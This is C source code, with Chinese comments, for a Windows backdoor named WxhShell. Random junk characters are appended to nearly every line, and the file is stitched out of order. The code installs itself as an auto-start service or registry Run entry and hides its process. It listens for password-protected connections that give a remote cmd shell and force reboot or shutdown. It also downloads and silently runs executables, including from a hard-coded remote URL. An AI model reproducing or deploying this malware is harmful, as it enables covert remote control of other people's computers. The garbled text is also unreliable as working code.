    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )5B90[M|t  
    else { ) ~X\W\  
    closesocket(wsh); pmfyvkLS  
    ExitThread(0); C0'Tua'  
    } GMFp,Df  
    break; ++xEMP)  
    } KVJiCdg-  
  // 获取shell DI+kO(S  
  case 's': { -B R&b2  
    CmdShell(wsh); Ucv-}oa-?  
    closesocket(wsh); HZR~r:_ i  
    ExitThread(0); NX$$4<A1  
    break; uRJLSt9m  
  } f ^z7K  
  // 退出 (ZDRjBth[  
  case 'x': { xZBmQ:s',S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PZQ}G*p3  
    CloseIt(wsh); Krz[ f  
    break; NFsMc0{  
    } %A?Ym33  
  // 离开 SZE X;M  
  case 'q': { koe&7\ _@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x2;92I{5C,  
    closesocket(wsh); QO0T<V  
    WSACleanup(); BH\qm (X  
    exit(1); aiea& aJ  
    break; zf#V89!]C"  
        } j&ddpS(s  
  } 4u A ;--j  
  } g {wDI7"<q  
JeuW/:Wv  
  // 提示信息 &`{%0r[UD#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 87y$=eZ  
} Jo_h?{"L{  
  } s>^*GQw  
(Zx;GS  
  return; zkB_$=sbn#  
} SxNs  
}wz )"  
// shell模块句柄 |0BmEF  
int CmdShell(SOCKET sock) dX` _Y  
{ 9_oIAn:<  
STARTUPINFO si; {}[S,L  
ZeroMemory(&si,sizeof(si)); .F &\xa{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H"6:!;9,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h$y1"!N(  
PROCESS_INFORMATION ProcessInfo; 27}k63\  
char cmdline[]="cmd"; S-g`rTx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $wAVM/u&  
  return 0; 'Q?nU^:F#  
} IKH#[jW'IB  
5Tkh6s  
// 自身启动模式 =]E;wWC  
int StartFromService(void) j?#S M!f  
{ e$fxC-sZ  
typedef struct ="z\  
{ WADNr8.  
  DWORD ExitStatus; g.Z>9(>;Y  
  DWORD PebBaseAddress; ~\(U&2t  
  DWORD AffinityMask; r)q6^|~47  
  DWORD BasePriority; j'I$F1>Te  
  ULONG UniqueProcessId; K'7i$bl%  
  ULONG InheritedFromUniqueProcessId; Q];+?Pu.  
}   PROCESS_BASIC_INFORMATION; UeX3cD  
kL{2az3"c  
PROCNTQSIP NtQueryInformationProcess; fo^M`a!va0  
_ z#zF[%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;VNwx(1l`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W_ngB[  
^;!A`t  
  HANDLE             hProcess; G/bWn@  
  PROCESS_BASIC_INFORMATION pbi; 5,|^4 ZA  
hT#[[md"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `fj(xrI  
  if(NULL == hInst ) return 0; iO(9#rV  
Atzp\oO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dq[j.Nmq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JY~s-jxa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /)e&4.6  
x?VX,9;j  
  if (!NtQueryInformationProcess) return 0; &S]\)&Yt  
n(0O'nS^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rX)PN3TD  
  if(!hProcess) return 0; : DCj2"  
pTX{j=n!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /|bir6Y:  
"n=`{~F  
  CloseHandle(hProcess); xzbyar<  
l!EfvqWX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,0[bzk  
if(hProcess==NULL) return 0; S9t_2%e  
1BmevE a)  
HMODULE hMod; i\ X Ok!  
char procName[255]; t=d~\_Oa  
unsigned long cbNeeded; HBXp#$dPc  
=(3Qbb1i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  +,gI|  
b(&2/|hd  
  CloseHandle(hProcess); :w_Zr5H]  
mpIRe@#Z  
if(strstr(procName,"services")) return 1; // 以服务启动 Ky[/7S5E  
"W?k~.uw  
  return 0; // 注册表启动 <}L`d(E@f  
} k:nr!Y<  
[>=D9I@~  
// 主模块 K, WNM S  
int StartWxhshell(LPSTR lpCmdLine) 4w}\2&=  
{ FAzshR  
  SOCKET wsl; k9vr6We'  
BOOL val=TRUE;  I QS|  
  int port=0; lc,{0$ 1<  
  struct sockaddr_in door; ={o>g '  
hbD@B.PD  
  if(wscfg.ws_autoins) Install(); -SGR)  
HpC|dtro  
port=atoi(lpCmdLine); Ks(+['*S  
. Zrt/;  
if(port<=0) port=wscfg.ws_port; pLE|#58I  
2G=Bav\n+  
  WSADATA data; NIY0f@1z-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >2_BL5<S  
MS)#S&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Zz'(!h Uy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q&B'peT  
  door.sin_family = AF_INET; Xw(e@ :  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z2_eTC u  
  door.sin_port = htons(port); ),(ejRP'r  
cZuZfMDM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4_ztIrw  
closesocket(wsl); tx;MH5s/V  
return 1; i/2OE&*O[  
} O[+S/6uy  
:bkACuaEn  
  if(listen(wsl,2) == INVALID_SOCKET) { dE7 kd=.o  
closesocket(wsl); M}k )Ep9  
return 1; mL?9AxO  
} < N}UwB&  
  Wxhshell(wsl); "WdGY*r  
  WSACleanup(); bae .?+0[  
Z3<>Z\6D  
return 0; >Vy=5)/i  
o3P`y:&  
} Qr Dzf e[  
Kn SXygT  
// 以NT服务方式启动 QXY-?0RO#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) };o6|e:2E  
{ bHH{bv~Z  
DWORD   status = 0; %*wJODtB|  
  DWORD   specificError = 0xfffffff; H$>D_WeJ  
hZ Gr/5f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6;60}y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <W2}^q7F^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }L^Yoq]  
  serviceStatus.dwWin32ExitCode     = 0; IsxPm9P2<  
  serviceStatus.dwServiceSpecificExitCode = 0; (cAv :EKpo  
  serviceStatus.dwCheckPoint       = 0; 8>RGmue  
  serviceStatus.dwWaitHint       = 0; {mY<R`Ee  
s-Q-1lKV,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tSV}BM,  
  if (hServiceStatusHandle==0) return; }@J&yrqg  
Q.7Rv XNw8  
status = GetLastError(); Tw/kD)u{  
  if (status!=NO_ERROR) FY)vrM*yh  
{ w|pk1~c(_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PX65Z|~>_  
    serviceStatus.dwCheckPoint       = 0; m(,vym t  
    serviceStatus.dwWaitHint       = 0; 0AP wk }  
    serviceStatus.dwWin32ExitCode     = status; L MC-1  
    serviceStatus.dwServiceSpecificExitCode = specificError; y8HLrBTza  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {";5n7<<)  
    return;  LKieOgX  
  } %H75u 6  
AR\>P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JP)/ O!  
  serviceStatus.dwCheckPoint       = 0; ;n$j?n+|  
  serviceStatus.dwWaitHint       = 0; vmK<_xbwd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @ +h2R  
} 5gARGA  
4Z)`kS} =]  
// 处理NT服务事件,比如:启动、停止 $6}siU7s4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) EGO;g^,  
{ )_"Cz".|9  
switch(fdwControl) ;X<#y2`  
{ 7Oe |:Z  
case SERVICE_CONTROL_STOP: w~y+Pv@   
  serviceStatus.dwWin32ExitCode = 0; B;XFPQ#b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x.qn$?3V]  
  serviceStatus.dwCheckPoint   = 0; ?`V%[~4_I  
  serviceStatus.dwWaitHint     = 0; XL c&7  
  { zuUf:%k}I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D{'x7!5r  
  } FiMP_ y*S  
  return; "2;$?*hO#  
case SERVICE_CONTROL_PAUSE: osyY+)G'sV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,LKY?=T$z  
  break; YNA %/  
case SERVICE_CONTROL_CONTINUE: {\ [u2{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b2u_1P\  
  break; Izm8 qt=m  
case SERVICE_CONTROL_INTERROGATE: y?GRxoCD"e  
  break; {LYA?w^GT  
}; pj;cL ]L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7GY[l3arxv  
} v^2K=f[nE  
A<2_V1  
// 标准应用程序主函数 *X+T>SKL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H>AQlO+J  
{ 8.HqQ:?&2t  
P$S>=*`n U  
// 获取操作系统版本 QE[ETv  
OsIsNt=GetOsVer(); lfG]^id'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *i|O!h1St  
L$6{{Tw"2  
  // 从命令行安装 Kyw Dp37^  
  if(strpbrk(lpCmdLine,"iI")) Install(); = q9>~E{}  
LL|$M;S  
  // 下载执行文件 mG@xehH  
if(wscfg.ws_downexe) { \_}Y4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cJj4qX F  
  WinExec(wscfg.ws_filenam,SW_HIDE); g+;m?VJ  
} ' Z:FGSwT  
fQRGz\r*k  
if(!OsIsNt) { XSC._)ztEE  
// 如果时win9x,隐藏进程并且设置为注册表启动 o#gb+[  
HideProc(); 'qwFVP  
StartWxhshell(lpCmdLine); >M[wh>  
} M%pxv6?""{  
else { %X /w'|  
  if(StartFromService()) RX}6H<5R  
  // 以服务方式启动 Z12-Vps  
  StartServiceCtrlDispatcher(DispatchTable); w^EAk(77  
else 0FD#9r  
  // 普通方式启动 4CVtXi_Y  
  StartWxhshell(lpCmdLine); 1.U5gW/3L  
$Q*h+)g<  
return 0; K.4t*-<`[  
} JYA$_T  
vggyQf%  
<gRv7 ?V[z  
ysm)B?+k  
=========================================== ku3Vr\s  
<o,]f E[  
=u W+>;]  
TbbtD"b?  
Cfqgu;m  
XcB!9AIO  
" PB00\&6H  
'bVDmm).  
#include <stdio.h> `K37&b;`[  
#include <string.h> f(!:_!m*  
#include <windows.h> 5D 9I;L{  
#include <winsock2.h> '1{co/Y  
#include <winsvc.h> <seb,> :  
#include <urlmon.h> 3tY \0y9  
H!mNHY_fA  
#pragma comment (lib, "Ws2_32.lib") kbS+ 3#+  
#pragma comment (lib, "urlmon.lib") ua[ d  
ZZk6 @C  
#define MAX_USER   100 // 最大客户端连接数 BS*IrH H  
#define BUF_SOCK   200 // sock buffer [F{q.mZj  
#define KEY_BUFF   255 // 输入 buffer $\?BAkx  
ew -5VL   
#define REBOOT     0   // 重启 C# IV"Pkq  
#define SHUTDOWN   1   // 关机 E+-ah vk  
TOmq2*,/  
#define DEF_PORT   5000 // 监听端口 Bc3(xI'>J  
|2w,Np-  
#define REG_LEN     16   // 注册表键长度 ,?g}->ZB  
#define SVC_LEN     80   // NT服务名长度 HLm6BtE  
]FV,}EZ  
// 从dll定义API k)j, ~JH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DU(QQ53  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v&6I\1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H:byCFN-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CUIT)mF:  
Z9TmX A@  
// wxhshell配置信息 .`qw8e}y#'  
struct WSCFG { @9S3u#vP  
  int ws_port;         // 监听端口 'jh9n7mH  
  char ws_passstr[REG_LEN]; // 口令 -DD2   
  int ws_autoins;       // 安装标记, 1=yes 0=no /NRdBN  
  char ws_regname[REG_LEN]; // 注册表键名 L-Qc[L  
  char ws_svcname[REG_LEN]; // 服务名 nv>|,&;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j_L1KB*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C3 >X1nU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^y:!=nX^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  1t7vP;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l]tda(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HUUN*yikj  
8+'9K%'@qX  
}; USBU?WDt  
j"g[qF/*  
// default Wxhshell configuration NKyaR_q`  
struct WSCFG wscfg={DEF_PORT, O#Y;s;)i"  
    "xuhuanlingzhe",  <sdC#j  
    1, 17IT:T,'  
    "Wxhshell", S5B12P  
    "Wxhshell", i2$7nSQ9  
            "WxhShell Service", x?T.ItW:K  
    "Wrsky Windows CmdShell Service", 6aC'\8{h  
    "Please Input Your Password: ", pxC:VJ;  
  1, 3i1e1Lj1  
  "http://www.wrsky.com/wxhshell.exe", l0AVyA4RFV  
  "Wxhshell.exe" Qb "\j  
    }; eru2.(1  
es]S]}JV  
// 消息定义模块 o[<lTsw<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fePt[U)2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U Px7u%Do  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =e\E{K'f@  
char *msg_ws_ext="\n\rExit."; &oi*]:<FNe  
char *msg_ws_end="\n\rQuit."; !<`}m E!:  
char *msg_ws_boot="\n\rReboot..."; e'%"G{(D  
char *msg_ws_poff="\n\rShutdown..."; PEA<H0  
char *msg_ws_down="\n\rSave to "; 2|a@,TW}-  
tR`'( *wh  
char *msg_ws_err="\n\rErr!"; x@^Kd*fo  
char *msg_ws_ok="\n\rOK!"; OJX* :Q  
"h.-qQGU%  
char ExeFile[MAX_PATH]; B,rpc\_  
int nUser = 0; "p,TYjT?R  
HANDLE handles[MAX_USER]; xnz(hz6  
int OsIsNt; Th"0Cc)  
)1de<# qM  
SERVICE_STATUS       serviceStatus; $:&?!>H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2@!Ou$W  
6k14xPj  
// 函数声明 {|cuu"j26  
int Install(void); xOfZ9@VU  
int Uninstall(void); kFCjko  
int DownloadFile(char *sURL, SOCKET wsh); H{&o_  
int Boot(int flag); jGV+ ~a  
void HideProc(void); i qLNX)  
int GetOsVer(void); 1E3'H7k\t  
int Wxhshell(SOCKET wsl); snU $Na3  
void TalkWithClient(void *cs); & QO9/!  
int CmdShell(SOCKET sock); Y"eR&d  
int StartFromService(void); d:|(l^]{r  
int StartWxhshell(LPSTR lpCmdLine); V* :Q~ ^  
DdAs]e|D[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [}p/pj=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e* 2ay1c  
OXT'$]p.*  
// 数据结构和表定义 PH,MZ"Z%  
SERVICE_TABLE_ENTRY DispatchTable[] = N%3 G\|~Q  
{ bBwMx{iNNz  
{wscfg.ws_svcname, NTServiceMain}, ~lg1S  
{NULL, NULL} <<Zt.!hS  
}; u+ wKs`   
(WoKrd.!  
// 自我安装 o *\c V 6  
int Install(void) 'VH%cz*  
{ mn5mdrv3WZ  
  char svExeFile[MAX_PATH]; 0W}iKT[Z  
  HKEY key; =^nb-9.  
  strcpy(svExeFile,ExeFile); e G8Zn<:s  
RDFOUqS  
// 如果是win9x系统,修改注册表设为自启动 P1 \:hh  
if(!OsIsNt) { +Ndo$|XCy]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;{@jj0h;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FPg5!O%  
  RegCloseKey(key); :Ng4? +@r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;|nC;D]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W_]Su  
  RegCloseKey(key); 52RFB!Z[  
  return 0; MXQ S6F#  
    } _6Ex}`fyJ  
  } ZH@BHg|}H  
} h~\bJ*Zp  
else { ]g}Tqf/N%  
]t4 9Efw  
// 如果是NT以上系统,安装为系统服务 &DUt`Dr w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K/^70;/!.  
if (schSCManager!=0) d5b \kRr  
{ 4tZnYGvqe  
  SC_HANDLE schService = CreateService (YOp  
  ( f76bEe/B9  
  schSCManager, +y}4^3Vx^  
  wscfg.ws_svcname, J~\`8cds  
  wscfg.ws_svcdisp, O-5s}RT  
  SERVICE_ALL_ACCESS, sE,Q:@H5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9lT6fW`v1Q  
  SERVICE_AUTO_START, ;JNI $DR  
  SERVICE_ERROR_NORMAL, oM')NIW@  
  svExeFile, 9!aQ@ J^  
  NULL, rSGt`#E-s.  
  NULL, bU(H2Fv  
  NULL, k@,&'imx  
  NULL,  xr }jw  
  NULL &s]wf  
  ); >Ei-Spy>Xl  
  if (schService!=0) ."8bW^:  
  { ^5"2s:vP  
  CloseServiceHandle(schService); 4sj:%% UE  
  CloseServiceHandle(schSCManager); ISp'4H7R+N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X={n9*Sd8  
  strcat(svExeFile,wscfg.ws_svcname); d|nJp-%V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @D<KG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2E@ !  
  RegCloseKey(key); {;iG}jK  
  return 0; `2 vv8cg^  
    } xj1FCT2  
  } 6" s}<  
  CloseServiceHandle(schSCManager); *2$I, ~(P  
} (|(#W+l~  
} 'CTvKW  
;M<jQntqS{  
return 1; ("UzMr,  
} %*>ee[^L ,  
";I|\ T  
// 自我卸载 LLa72HW  
int Uninstall(void) eyx;8v cM  
{ {5ujKQOcR  
  HKEY key; 5<?O S &B  
%:^|Q;xe  
if(!OsIsNt) { ( TQx3DGq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kF09t5Lr  
  RegDeleteValue(key,wscfg.ws_regname); Z+mesj?.  
  RegCloseKey(key); [Rqv49n*V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,ZVC@P,L  
  RegDeleteValue(key,wscfg.ws_regname); Nb))_+/  
  RegCloseKey(key); ;au-NY  
  return 0; `%8byy@$  
  } mOLP77(o  
}  CB<i  
} y~&R(x~w  
else { b*-g@S  
l9U^[;D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L_>j SP  
if (schSCManager!=0) !y8/El  
{ G8m:]!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V b=Oz  
  if (schService!=0) ]F,mj-?4x  
  { vm3B>ACJ  
  if(DeleteService(schService)!=0) { piZ0KA"  
  CloseServiceHandle(schService); r ek89.p  
  CloseServiceHandle(schSCManager); ~w<u!  
  return 0; xMk0Xf'_  
  } &^R0kCF`  
  CloseServiceHandle(schService); bt=%DMTn  
  } !nQ!J+ g  
  CloseServiceHandle(schSCManager); D ^ mfWJS  
} +V"t't7  
} ZH9sf~7  
g~5$X{  
return 1; VEolyPcsg&  
} H /E.R[\+x  
.%{3#\  
// 从指定url下载文件 wS Ty2Oyo;  
int DownloadFile(char *sURL, SOCKET wsh) ,a N8`M  
{  !,rp|  
  HRESULT hr; WU:~T.Su  
char seps[]= "/"; jU1([(?"  
char *token; D^(Nijl9U  
char *file; W'Wr8~{h  
char myURL[MAX_PATH]; 5*.JXx E;U  
char myFILE[MAX_PATH]; JLS|G?#0  
gr\UI!]F  
strcpy(myURL,sURL); .OLm{  
  token=strtok(myURL,seps); PgNg1  
  while(token!=NULL) Ae&470  
  { l_K=7\N  
    file=token; ;\P\0pI50  
  token=strtok(NULL,seps); $wL zaZL|  
  } 2}Ga   
d!+8  
GetCurrentDirectory(MAX_PATH,myFILE); 3I87|5V,Z  
strcat(myFILE, "\\"); 0w'%10"&U+  
strcat(myFILE, file); Te%2(w,B  
  send(wsh,myFILE,strlen(myFILE),0); #KC& ct  
send(wsh,"...",3,0); -;/;dz;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1#KE4(  
  if(hr==S_OK) 2!Bjs?K<bv  
return 0; +Y7"!wYR>  
else -;5WMX 6  
return 1; Czj]jA(0f  
D6cqON0a.  
} T%{qwZc+mJ  
ElJM. a  
// 系统电源模块 ?`wO \>y  
int Boot(int flag) gi26Dtk(h  
{ .M3]\I u  
  HANDLE hToken; ]njObU)[zr  
  TOKEN_PRIVILEGES tkp; El3Y1g3+3  
ELh`|X  
  if(OsIsNt) { XH9Y|FX%#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FW](GWp`:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e^;<T9Esr  
    tkp.PrivilegeCount = 1; mB.ybrig  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gP&G63^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T8nOb9Nrj  
if(flag==REBOOT) { \UBTNY,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Nqf6CPXE  
  return 0; k!9LJ%Xh  
} +M@,CbqD  
else { ;,d^=:S6@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x4b.^5"`:  
  return 0; %9bf^LyD  
} K)e;*D  
  } :Z(w,  
  else { zk\YW'x|r  
if(flag==REBOOT) { 5somoV B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,hMd xZJd  
  return 0; 9j[lr${A  
} nSMw5  
else { %(f&).W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ssf.ef$  
  return 0; d7g3VF<j  
} GJpQcse%  
} uT")j,tz  
}f/xMp-Y  
return 1; FLWQY,  
} w.AF7.X`1  
6p=OM=R  
// win9x进程隐藏模块 ^p@R!228  
void HideProc(void) vvWje:H  
{ x{GKz#  
Z@Tb3N/[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _'CYS3-P3  
  if ( hKernel != NULL ) C rA7lu'  
  { (z8^^j[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p\>im+0oh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Bu%TTbnz_G  
    FreeLibrary(hKernel); dfU z{  
  } F<W`zQ46  
h'QEwW  
return; ")gd)_FOS  
} ap 5D6y+  
JPs R7f  
// 获取操作系统版本 PO$ OXw  
int GetOsVer(void) +{eZ@  
{ KNI* :  
  OSVERSIONINFO winfo; ;usv/8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +Jf4 5[D   
  GetVersionEx(&winfo); hny(:Dj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l.Psh7B2  
  return 1; Xa=M{x  
  else *5Mg^}ZC5  
  return 0; (toN? ?r  
} 7KB:wsz^  
1@i 8ASL  
// 客户端句柄模块 ^GS,4[)H  
int Wxhshell(SOCKET wsl) {}Q A#:V  
{ r+#!]wNPe  
  SOCKET wsh; c:$W5j('Z  
  struct sockaddr_in client; \[!k`6#t7  
  DWORD myID; `1 tD&te0  
!awsQ!e|  
  while(nUser<MAX_USER) ;Wo\MN  
{ + A=*C  
  int nSize=sizeof(client); b `TA2h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @D'NoA@1A  
  if(wsh==INVALID_SOCKET) return 1; Dej2-Y  
Ah|,`0dw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r X^wNH  
if(handles[nUser]==0) xn=/SIS  
  closesocket(wsh); O<H5W|cM  
else \nX5 $[  
  nUser++; K~U5jp c  
  } I_h8)W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cTq}H_hC  
Fq-A vU  
  return 0; McXid~  
} IM^K]$q$47  
A3;}C+K  
// 关闭 socket jTDaW8@L  
void CloseIt(SOCKET wsh) 0Ud.u  
{ 2#^@awJ ?  
closesocket(wsh); )`*=P}D  
nUser--; u>YC4&  
ExitThread(0); Cq<a|t  
} t9!8Bh<  
*h H\H  
// 客户端请求句柄 +V N&kCx)  
void TalkWithClient(void *cs) 4ox[,  
{ 2v;F@fUB.  
[1 ?  
  SOCKET wsh=(SOCKET)cs; ,[Bv\4Ah  
  char pwd[SVC_LEN]; Bq20U:f  
  char cmd[KEY_BUFF]; A-8[8J  
char chr[1]; `Tt;)D  
int i,j; )J['0DUrZK  
rEM#J"wF  
  while (nUser < MAX_USER) { $;1TP|  
WZ3GI l  
if(wscfg.ws_passstr) { A<+veqb4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }H>}v/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h VQj$TA  
  //ZeroMemory(pwd,KEY_BUFF); \?|FB~.Ry  
      i=0; E\X:VQ9  
  while(i<SVC_LEN) { 1&wI*4  
) vKZs:  
  // 设置超时 Q;'{~!=  
  fd_set FdRead; l1EI4Y9KG  
  struct timeval TimeOut; +ROwk  
  FD_ZERO(&FdRead); YyF=u~l  
  FD_SET(wsh,&FdRead); `u *:wJsv  
  TimeOut.tv_sec=8; TsvF~Gdp  
  TimeOut.tv_usec=0; (;Ad:!9{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )6k([u%;B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ag6^>xb^  
8,l~e8&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !n?8'eqWru  
  pwd=chr[0]; &F!Ct(c99  
  if(chr[0]==0xd || chr[0]==0xa) { ??7c9l5,  
  pwd=0; 8vuA`T!~G  
  break; j~ 'a %P  
  } qkg`4'rLg  
  i++; 1 po.Cmx  
    } t}!Y}D  
Rl%?c5U/$  
  // 如果是非法用户,关闭 socket $U]KIHb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P>i!f!o*I  
} %#zqZ|q  
UP})j.z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cGE,3dsF[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); { +$zgg  
&`9p.  
while(1) { lo!.%PP|  
9CxFj)#5F  
  ZeroMemory(cmd,KEY_BUFF); X }W4dpU,  
*Bse3%-v  
      // 自动支持客户端 telnet标准   }1sFddGVt  
  j=0; '&OJ hLE  
  while(j<KEY_BUFF) { rZK;=\Ot  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FVgE^_  
  cmd[j]=chr[0]; /3!c ;(  
  if(chr[0]==0xa || chr[0]==0xd) { DC-tBbQkk  
  cmd[j]=0; 'Pm.b}p<  
  break; CBVL/pxy  
  } #ox &=MY  
  j++; RdirEH *H  
    } 8vK$]e36  
bRhc8#kw)  
  // 下载文件 L2j7w006  
  if(strstr(cmd,"http://")) { EJz?GM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T|L_ +(M{  
  if(DownloadFile(cmd,wsh)) 9r efv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k\NwH?ppu  
  else mbS`+)1=l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p /x ]  
  } a  St  
  else { I\,m6 =q  
M(8Mj[>>Rj  
